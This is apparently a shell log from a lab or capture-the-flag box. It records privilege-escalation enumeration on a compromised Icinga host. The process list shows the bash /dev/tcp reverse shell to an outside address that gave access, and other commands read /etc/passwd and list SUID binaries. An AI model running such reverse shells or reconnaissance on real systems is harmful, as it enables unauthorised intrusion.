System/Kernel
www-data@icinga:~$ file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=33a5554034feb2af38e8c75872058883b2988bc5, for GNU/Linux 3.2.0, stripped
linux icinga 5.15.0-43-generic #46-ubuntu smp tue jul 12 10:30:17 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04.1 LTS"
PRETTY_NAME="Ubuntu 22.04.1 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.1 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
home_url="https://www.ubuntu.com/"
support_url="https://help.ubuntu.com/"
bug_report_url="https://bugs.launchpad.net/ubuntu/"
privacy_policy_url="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammyUbuntu 22.04.1 LTS (Jammy Jellyfish)
5.15.0-43-generic
x86_64
Networks
www-data@icinga:~$ ifconfig ; arp -a ; ip route
ifconfig ; arp -a ; ip route
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.16.22.2 netmask 255.255.255.240 broadcast 172.16.22.15
inet6 fe80::215:5dff:fe5f:e801 prefixlen 64 scopeid 0x20<link>
ether 00:15:5d:5f:e8:01 txqueuelen 1000 (Ethernet)
RX packets 236967 bytes 32046806 (32.0 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 304931 bytes 49585822 (49.5 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 16540 bytes 1266112 (1.2 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 16540 bytes 1266112 (1.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
DC.cerberus.local (172.16.22.1) at 00:15:5d:5f:e8:00 [ether] on eth0
default via 172.16.22.1 dev eth0 onlink
172.16.22.0/28 dev eth0 proto kernel scope link src 172.16.22.2
www-data@icinga:~$ netstat -antup4
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:6379 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 141 172.16.22.2:38668 10.10.14.4:9999 ESTABLISHED 3240/bash
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 172.16.22.2:123 0.0.0.0:* -
udp 0 0 127.0.0.1:123 0.0.0.0:* -
udp 0 0 0.0.0.0:123 0.0.0.0:* - 127.0.0.1:3306
127.0.0.1:6379
127.0.0.53:53
Users & Groups
www-data@icinga:~$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
matthew:x:1000:1000:matthew:/home/matthew:/bin/bash
ntp:x:108:113::/nonexistent:/usr/sbin/nologin
sssd:x:109:115:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
nagios:x:110:118::/var/lib/nagios:/usr/sbin/nologin
redis:x:111:119::/var/lib/redis:/usr/sbin/nologin
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
icingadb:x:999:999::/etc/icingadb:/sbin/nologin
total 12K
4.0K drwxr-x--- 2 matthew matthew 4.0K Mar 1 2023 matthew
4.0K drwxr-xr-x 18 root root 4.0K Jan 23 2023 ..
4.0K drwxr-xr-x 3 root root 4.0K Jan 22 2023 .matthew
www-data@icinga:~$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data),121(icingaweb2)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=101(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=102(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=103(messagebus) gid=104(messagebus) groups=104(messagebus)
uid=104(systemd-timesync) gid=105(systemd-timesync) groups=105(systemd-timesync)
uid=105(pollinate) gid=1(daemon) groups=1(daemon)
uid=107(usbmux) gid=46(plugdev) groups=46(plugdev)
uid=1000(matthew) gid=1000(matthew) groups=1000(matthew)
uid=108(ntp) gid=113(ntp) groups=113(ntp)
uid=109(sssd) gid=115(sssd) groups=115(sssd)
uid=110(nagios) gid=118(nagios) groups=118(nagios)
uid=111(redis) gid=119(redis) groups=119(redis)
uid=112(mysql) gid=120(mysql) groups=120(mysql)
uid=999(icingadb) gid=999(icingadb) groups=999(icingadb)uid=33(www-data) gid=33(www-data) groups=33(www-data),121(icingaweb2)
uid=1000(matthew) gid=1000(matthew) groups=1000(matthew)
SUIDs
www-data@icinga:~$ find / -perm -04000 -ls -type f 2>/dev/null
395472 16 -rwsr-xr-x 1 root root 14488 Feb 4 2021 /usr/sbin/ccreds_chkpwd
393789 48 -rwsr-xr-x 1 root root 47480 Feb 21 2022 /usr/bin/mount
394039 228 -rwsr-xr-x 1 root root 232408 Feb 14 2022 /usr/bin/sudo
396659 464 -rwsr-xr-x 1 root root 474496 Jan 19 2022 /usr/bin/firejail
393575 72 -rwsr-xr-x 1 root root 72712 Mar 14 2022 /usr/bin/chfn
393670 36 -rwsr-xr-x 1 root root 35200 Mar 23 2022 /usr/bin/fusermount3
393797 40 -rwsr-xr-x 1 root root 40496 Mar 14 2022 /usr/bin/newgrp
393829 60 -rwsr-xr-x 1 root root 59976 Mar 14 2022 /usr/bin/passwd
393681 72 -rwsr-xr-x 1 root root 72072 Mar 14 2022 /usr/bin/gpasswd
396939 48 -rwsr-xr-x 1 root root 47400 Feb 21 2022 /usr/bin/ksu
393846 32 -rwsr-xr-x 1 root root 30872 Feb 26 2022 /usr/bin/pkexec
393581 44 -rwsr-xr-x 1 root root 44808 Mar 14 2022 /usr/bin/chsh
394038 56 -rwsr-xr-x 1 root root 55672 Feb 21 2022 /usr/bin/su
394098 36 -rwsr-xr-x 1 root root 35192 Feb 21 2022 /usr/bin/umount
394226 36 -rwsr-xr-- 1 root messagebus 35112 Apr 1 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
131567 332 -rwsr-xr-x 1 root root 338536 Nov 23 2022 /usr/lib/openssh/ssh-keysign
400807 20 -rwsr-xr-x 1 root root 18736 Feb 26 2022 /usr/libexec/polkit-agent-helper-1/usr/sbin/ccreds_chkpwd
/usr/bin/firejail
SGIDs
www-data@icinga:~$ find / -perm -02000 -ls -type f 2>/dev/null
400995 28 -rwxr-sr-x 1 root shadow 26776 Mar 24 2022 /usr/sbin/unix_chkpwd
400954 24 -rwxr-sr-x 1 root shadow 22680 Mar 24 2022 /usr/sbin/pam_extrausers_chkpwd
393329 40 -rwxr-sr-x 1 root crontab 39568 Mar 23 2022 /usr/bin/crontab
394122 24 -rwxr-sr-x 1 root tty 22904 Feb 21 2022 /usr/bin/wall
393654 24 -rwxr-sr-x 1 root shadow 23136 Mar 14 2022 /usr/bin/expiry
393415 288 -rwxr-sr-x 1 root _ssh 293304 Nov 23 2022 /usr/bin/ssh-agent
393571 72 -rwxr-sr-x 1 root shadow 72184 Mar 14 2022 /usr/bin/chage
131636 4 drwxrwsr-x 2 root staff 4096 Jan 26 2023 /usr/local/share/fonts
1434 0 drwxr-s--- 2 nagios www-data 40 jan 17 07:01 /run/icinga2/cmd
1378 0 drwxr-sr-x 2 redis redis 60 jan 17 07:01 /run/redis
719 0 drwxr-sr-x 2 root systemd-journal 40 jan 17 07:01 /run/log/journal
276259 4 drwxrws--- 2 redis redis 4096 Jan 26 2023 /etc/redis
278572 4 drwxrws--- 5 root icingaweb2 4096 Jan 29 2023 /etc/icingaweb2
279080 4 drwxr-s--- 2 www-data icingaweb2 4096 jan 17 10:33 /etc/icingaweb2/enabledModules
278573 4 drwxrws--- 3 root icingaweb2 4096 Jan 26 2023 /etc/icingaweb2/modules
278598 4 drwxrws--- 2 www-data icingaweb2 4096 Jan 29 2023 /etc/icingaweb2/ssh
264874 4 drwxr-s--- 2 redis adm 4096 jan 17 07:01 /var/log/redis
263419 4 drwxr-sr-x 3 root systemd-journal 4096 Jan 22 2023 /var/log/journal
265375 4 drwxr-sr-x 2 root systemd-journal 4096 jan 17 07:01 /var/log/journal/af3b84001bc946a4a633557e2df2fd2c
276672 4 drwxr-s--- 2 mysql adm 4096 Jan 26 2023 /var/log/mysql
275473 4 drwxr-s--x 4 nagios adm 4096 Jan 26 2023 /var/log/icinga2
263272 4 drwxrwsr-x 2 root mail 4096 Aug 9 2022 /var/mail
278590 4 drwxrws--- 2 root icingaweb2 4096 Jul 28 2021 /var/lib/icingaweb2
263270 4 drwxrwsr-x 2 root staff 4096 Apr 18 2022 /var/localProcesses
www-data@icinga:~$ ps -auxwww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 1.1 165948 10708 ? Ss 07:01 0:02 /sbin/init
root 323 0.0 1.4 47852 12572 ? S<s 07:01 0:01 /lib/systemd/systemd-journald
root 365 0.0 3.0 289460 27244 ? SLsl 07:01 0:01 /sbin/multipathd -d -s
root 378 0.0 0.5 25328 4896 ? Ss 07:01 0:00 /lib/systemd/systemd-udevd
systemd+ 379 0.0 0.8 16116 7796 ? Ss 07:01 0:00 /lib/systemd/systemd-networkd
systemd+ 525 0.0 1.3 25264 12008 ? Ss 07:01 0:00 /lib/systemd/systemd-resolved
message+ 566 0.0 0.5 26560 4656 ? Ss 07:01 0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root 570 0.0 2.0 30116 18316 ? Ss 07:01 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root 573 0.0 2.2 93916 20036 ? Ss 07:01 0:00 /usr/sbin/sssd -i --logger=files
root 625 0.0 3.7 282620 33300 ? Ss 07:01 0:01 php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)
ntp 631 0.0 0.6 87436 5560 ? Ssl 07:01 0:02 /usr/sbin/ntpd -p /var/run/ntpd.pid -g -u 108:113
redis 644 0.2 1.0 64244 9280 ? Ssl 07:01 0:31 /usr/bin/redis-server 127.0.0.1:6379
root 676 0.0 0.5 7136 4664 ? Ss 07:01 0:01 /usr/sbin/apache2 -k start
mysql 783 0.0 10.1 1068008 90632 ? Ssl 07:01 0:04 /usr/sbin/mariadbd
www-data 784 0.0 2.9 294592 26332 ? S 07:01 0:00 php-fpm: pool www
root 816 0.0 2.5 98216 22376 ? S 07:01 0:00 /usr/libexec/sssd/sssd_be --domain cerberus.local --uid 0 --gid 0 --logger=files
www-data 817 0.0 3.6 294692 32552 ? S 07:01 0:00 php-fpm: pool www
root 914 0.0 4.9 109392 43980 ? S 07:01 0:00 /usr/libexec/sssd/sssd_nss --uid 0 --gid 0 --logger=files
root 915 0.0 2.2 83340 20440 ? S 07:01 0:00 /usr/libexec/sssd/sssd_pam --uid 0 --gid 0 --logger=files
www-data 916 0.0 3.0 294612 27284 ? S 07:01 0:00 php-fpm: pool www
www-data 917 0.0 2.8 294612 25780 ? S 07:01 0:00 php-fpm: pool www
root 975 0.0 0.2 4304 2588 ? Ss 07:01 0:00 /usr/sbin/cron -f -P
www-data 978 0.0 2.8 294616 25292 ? S 07:01 0:00 php-fpm: pool www
root 981 0.0 0.6 14900 6060 ? Ss 07:01 0:00 /lib/systemd/systemd-logind
www-data 983 0.0 2.7 294616 24396 ? S 07:01 0:00 php-fpm: pool www
root 1057 0.0 0.1 3192 1076 tty1 Ss+ 07:01 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
www-data 2424 0.0 0.8 766620 7872 ? Sl 08:57 0:03 /usr/sbin/apache2 -k start
www-data 2452 0.0 0.8 766620 7936 ? Sl 08:57 0:04 /usr/sbin/apache2 -k start
www-data 2480 0.0 0.9 766620 8056 ? Sl 08:57 0:00 /usr/sbin/apache2 -k start
www-data 3239 0.0 0.1 2888 972 ? S 10:33 0:00 sh -c bash -c 'exec bash -i &>/dev/tcp/10.10.14.4/9999 <&1'
www-data 3240 0.0 0.4 4624 3740 ? S 10:33 0:00 bash -i
www-data 3534 0.0 0.3 16404 3304 ? R 10:48 0:00 ps -auxwww/usr/bin/redis-server 127.0.0.1:6379
/usr/sbin/mariadbd
/usr/sbin/cron -f -P
/usr/libexec/sssd/sssd_be --domain cerberus.local --uid 0 --gid 0 --logger=files
Cron & Systemd
www-data@icinga:~$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for www-data
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#path=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT LEFT LAST PASSED UNIT ACTIVATES
wed 2024-01-17 11:09:00 UTC 15min left Wed 2024-01-17 10:39:01 UTC 13min ago phpsessionclean.timer phpsessionclean.service
wed 2024-01-17 14:28:17 UTC 3h 35min left Thu 2023-03-16 12:29:44 UTC 10 months 2 days ago motd-news.timer motd-news.service
wed 2024-01-17 16:42:43 UTC 5h 49min left Thu 2023-03-16 12:29:44 UTC 10 months 2 days ago apt-daily.timer apt-daily.service
thu 2024-01-18 00:00:00 UTC 13h left n/a n/a dpkg-db-backup.timer dpkg-db-backup.service
thu 2024-01-18 00:00:00 UTC 13h left Wed 2024-01-17 07:01:29 UTC 3h 51min ago logrotate.timer logrotate.service
thu 2024-01-18 06:43:01 UTC 19h left Wed 2024-01-17 07:54:23 UTC 2h 58min ago apt-daily-upgrade.timer apt-daily-upgrade.service
thu 2024-01-18 07:16:22 UTC 20h left Wed 2024-01-17 07:16:22 UTC 3h 36min ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
sun 2024-01-21 03:10:12 UTC 3 days left Wed 2024-01-17 07:01:59 UTC 3h 51min ago e2scrub_all.timer e2scrub_all.service
mon 2024-01-22 01:06:10 UTC 4 days left Wed 2024-01-17 08:17:23 UTC 2h 35min ago fstrim.timer fstrim.service
9 timers listed.
Pass --all to see loaded but inactive timers, too.Sudo Version
www-data@icinga:~$ sudo --version
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9Sudo version 1.9.9
Glibc Version
www-data@icinga:~$ ldd --version
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.ldd (Ubuntu GLIBC 2.35-0ubuntu3.1) 2.35